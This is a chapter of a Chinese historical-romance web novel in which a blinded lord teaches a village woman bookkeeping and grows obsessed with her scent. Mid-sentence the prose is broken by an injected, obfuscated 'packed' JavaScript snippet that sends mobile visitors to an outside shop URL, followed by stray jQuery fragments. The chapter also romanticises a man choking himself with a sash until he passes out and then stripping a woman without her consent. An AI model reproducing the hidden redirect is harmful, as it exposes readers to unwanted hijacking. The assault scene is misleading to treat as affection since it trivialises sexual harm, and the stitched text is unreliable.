默认冷灰
24号文字
方正启体

9. 清泉上犯浑

作者:卿之只本书字数:K更新时间:
    风干麻衣不需束腰,崔实便将銙带整整齐齐折好,收回胸口。


    “你干嘛放这处。”音娘羞涩难耐,明明这是女子的使用之法……


    “你不要我便收回,这可是我最宝贵的东西。”她作意取走。


    “我要。”他抢回,卷在腕上,漆黑的日子里,绵软清香的銙带让他格外心安。


    昨晚他握着腰间銙带入眠,彻夜美梦,脑子全是与音娘嬉戏,在洞中,和溪间,在田野,甚至在树上,二人无忧无虑,甚是欢快……


    自从阿爹阿娘走后,他便没在生过好梦,所以若有人要想污脏銙带,等同于褫夺他美梦,如何也不能容忍。


    盼望之际,他想,如果能到音娘家中借宿,应是更舒服。


    音娘难能一见从他脸上看到肃穆,可他越是这般,音娘越不好意思,早知给他随便捡几株干草束上便好。


    “你昔日许诺教我识字,可还算数?”音娘坐着正与他严肃说。


    “算数,音娘想学什么?”崔实还在摸索新衣,总觉身上有股汗味,他担心自己臭得难闻,不经意间坐远音娘几尺。


    同时将白衣袍暗夹的花瓣悄悄移至麻衣,一闻才香了些许。


    音娘身携异香,定然遭不惯臭味。他理应也变得香气。


    “算账你会不会?米铺的账?”


    “会。”


    信阳侯家大业大,秘密往来的生意不计其数,便是少算了一文钱,也逃不过他的眼睛。


    “你想学算账?”


    “嗯,我明日见工,但……”音娘不想说自己无才学,不懂数,“你教教我。”


    他摸索找到细长木鞭,脚下是沙土。


    一笔一横公正地在地上划字。


    眼疾反反复复,独处时还能看清一二,唯独她来的时候又重回黑暗,好在经过这些日子的磕碰,已成为夜行侠。


    音娘好奇低头看,“这是什么字?”


    “岑念音。”


    “嗯?”


    “这是你的名字。”


    “原来我的字是这个图案,好生奇妙。”她围着沙子绕了一圈,指尖隔空临摹,“要你教是算术,怎写我名儿……”


    莲姐姐说过,互诉衷肠的男女才会写二人名字表意,这崔公子未免越界了。


    还未等她回过神来,崔实画画写写。


    “怎有五字?”


    “崔实”是他未能介绍的二字。


    “崔协礼。我的名字。说起来还未与你介绍。字下沙砾,名字各识,我们便算友人可好?”


    他想和她作友?


    音娘当下不知如何表露,在长康村,莲姐姐是她唯一的朋友,她们一起食过,一起采摘草药,一起躲避坏人,一起在日月星辰下睡过,还一起裸.身抚对方身子……


    这人竟想和她作友!


    不知何缘由,她想到了贴在男子腰间的亵衣,还有蓬勃的臂膀,和……


    只有她完完全全摸过了,看过了,这才算友人。


    “现而还不行……”音娘扭头羞耻说。


    但又觉此人真挚灼灼,未像浪子与她笑话,又因男色魅惑,私心作祟,她倒也行仔细看看。


    整日面对老鳏夫那一身如软泥的肉,她只感恶寒,可自从遇到崔公子之后,夜里时常梦见,幻想许多,只晓得他与旁人不同。


    可这话如何宣之于口……


    “为何不愿?你想何时?”崔实着急问她,原以为她悉心照料自己,便早已视作知己,如今却只是陌路人。


    山洞蛇虫鼠蚁多,每日挨饿,伤病久不愈,再这样下去,怕是没命活到回去锦州。他只能出此下策。


    唯一的办法,便是住她家中,一来能安好度日,二来也方便调查。


    三来,没有她的气味,总是魂不守舍……


    音娘再次感受从他肌肤散发的滚滚热气,晓得又开始激动了。明明是个面容姣好的白面书生,心气却是这般不可控。


    热气一上涌,她自己也昏了。


    “待你何时愿与我坦诚相待,我再考虑。”


    “可……”崔实无端执着。


    “我不喜这般强迫模样,不愿就是不愿,你又何必再问。”


    此话一落,崔实立马住声。


    “崔公子若不愿教我算术便作罢,天底下又岂止你一人会。”音娘怄气,这人最近老不听劝和她作对,“下次你再蛮横,我便再也不来了。”


    “不言了,你喊是言之时,我才言。”


    “那崔公子现在教我算账。”


    “好。”


    二人作得极其靠近,崔实无法忽视她身上的香味,以至于偶尔呆半刻,等闻爽了,再悉心教授。


    间隙尚留一丝清醒,明明昔日厌烦,到今却是迷香一般使他难以剥离,越是这样,头越不自靠近。


    他想好了,为了重现昨日梦境,等音娘一走他便睡下,所以要趁此时,好好珍藏她的味道。


    “原来是这样……”音娘用心学,丝毫没感受到崔实正离她只有半拳近,换过其他男人,许是早被她打跑了。


    但这个男人,像冬日暖炉,让人很习惯……


    “嘶,好痛。”她感觉到后脑被抽掉了什么东西。


    这时候音娘才回过神来,发现崔实正凝着她,嘴角挂着不明笑意。


    等她要生怒时,此人又在傻笑,倒是忘记是个瞎子了,何必与他计较。


    “你好好讲。”


    他虽看不见音娘面目,但异香已在他脑中留下清晰印记,方才故意拽她一根发丝缠在銙带上。


    直到黄昏才把算账基本说清,音娘准备走了。


    崔实手抚过她袖间,掌握在恰好没碰到她的手的距离。


    “这一堂课虽能保你明日顺利见工,但算账冗杂,需长久积淀,你明日再来。”


    音娘感动,“好。”


    “再带笔墨纸砚过来,我教你新东西。”


    ——


    昨夜星辰,昨夜幽香,摸过音娘的手放在鼻尖,发丝与銙带放在胸膛,就这样伴着入眠。


    本是舒然一夜,他醒来后到河中洗浴,恼怒不已,竟被一女子下了迷魂药,要他时时刻刻迷恋异香,甚至极度想留她身侧,褫夺她身上最浓郁的气。


    如此变态,他信阳侯简直与市井痴汉无二。


    于是趁着山河水冲刷,他要狠狠冲掉那些污浊之气,銙带浸泡个十天十夜,身子彻底洗褪皮,直到身上再无音娘一点气味,才肯罢休。


    音娘比往日更早上山,方才面账房先生,在一众人之中她巧胜,出的题目皆是崔公子授过,雇主当即要了她,并想与她签长工,工钱三十文一日。


    她没想到学识好处这般多,得赶紧将这个好消息告知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588003|205364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    崔公子,也带了笔纸过来,要趁此机会多学。


    “崔公子。”


    崔实浸在活水中,终于冷静下来。


    风中再次浮动熟悉气味,他忍不理,不闻。


    音娘发现他不在洞中,到山脚泉流下寻,发现他的衣裳挂在枝丫,一看那巨大的赤.裸身躯,便知是崔公子。


    她连忙避开,脸上晕染羞红。


    “崔公子怎得在此?”


    泉水叮咚,他听不见音娘说话,气味越浓烈,似有魔力冲破甲胄。


    模糊倩影再次浮上心头,他浑身灼烧,任由水流鞭打,青筋搏动的手从青苔石上捶起銙带,指腹因蛮力被尖石割破,血流如刷,他却感受不到任何疼痛。


    胸腹尽情收割銙带气味,因清泉浸润,那股芳香越发凝洁,他死死抓住揉搓,卷于腰上,胸前,让每一处都感受她的束缚。


    玩.弄并不过瘾,最后他将銙带折几层,绑与于颈上,双手狠狠拉紧,直到青筋爆出,窒气昏倒在水中才满意。


    音娘看得胸脯狂跳,这到底是什么隐疾?要人这般癫狂?


    是不是久病难愈,心智出了问题?


    揉了揉眼睛,看到那条在水中漂浮的銙带,心中一紧,若是他自此自缚而亡,人证物证俱在,那凶手便是她了。


    “崔公子。”音娘顾不得男女有别,也顾不得裸身羞涩,踏着清泉跑去,衣物尽被溅起的水滴打湿。


    崔实尚在迷离中,隐约瞧见一长相秀丽,肤色算不上白,像日暮橘黄的颜色,暖而阳光……


    他怕是病入膏肓了,竟是幻想出这种耻辱场景。可那女子欢快朝他跑来时,才按耐下去的涌动又即刻如潮爆发。


    双眸被水冲刷血红,啪嗒水面直起半身,横在腰际,双手将女子圈入怀中,异香激发兽性,他如狼似虎地舔舐女子周身。


    音娘怕他被吊死,一心要摘取他颈子的銙带,攀上胸膛,按实他乱动的头,这才抽去。


    等回过神来时,自己的衣物尽被剥去,浑身被他烫得灼红。


    她一辈子守旧,没与男子纵情,也不懂男女之事,可崔公子这般,无疑是因为那事发了狂。


    “你不是要寻死吗?”音娘死死遮住最后一缕春光,见人血眼如斯,不得已给了他一拳,“你快醒醒。”


    崔实被抽醒,从疼痛中激愣起来,眼神逐渐恢复清明。


    “音,音娘?”


    音娘推开他,泪眼汪汪地穿好衣裳,“你这狂徒,原以为你是行为端正的白面书生,竟没想到……”


    崔实百口莫辩,方才场景并非梦中……


    “协礼该死,对不住。”他狠狠地扇着自己脸颊,扇出了红印。


    音娘越想越气,甚至起了杀意,但看那满是红痕的洁白胸膛,绯红的眼角。双膝跪下,手放至腿上,引颈等待凌迟的模样,委屈而乖巧地望着他,音娘不由得再次感叹他可怜。


    不过是一个满身伤痕的瞎子罢了,又何须与他计较,况且,她竟然喜欢上这蓬勃白身……


    作怒之事,她已悄悄偷望了全部,果真不是一般人。


    “好了,你死了谁教我算账?”音娘扔去衣物,“下次再若犯浑,我……”


    本想说将他赶走,再一想,他走了谁教学识。


    思索几番,“下次再敢犯浑,我便饿你几日!”


    “”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)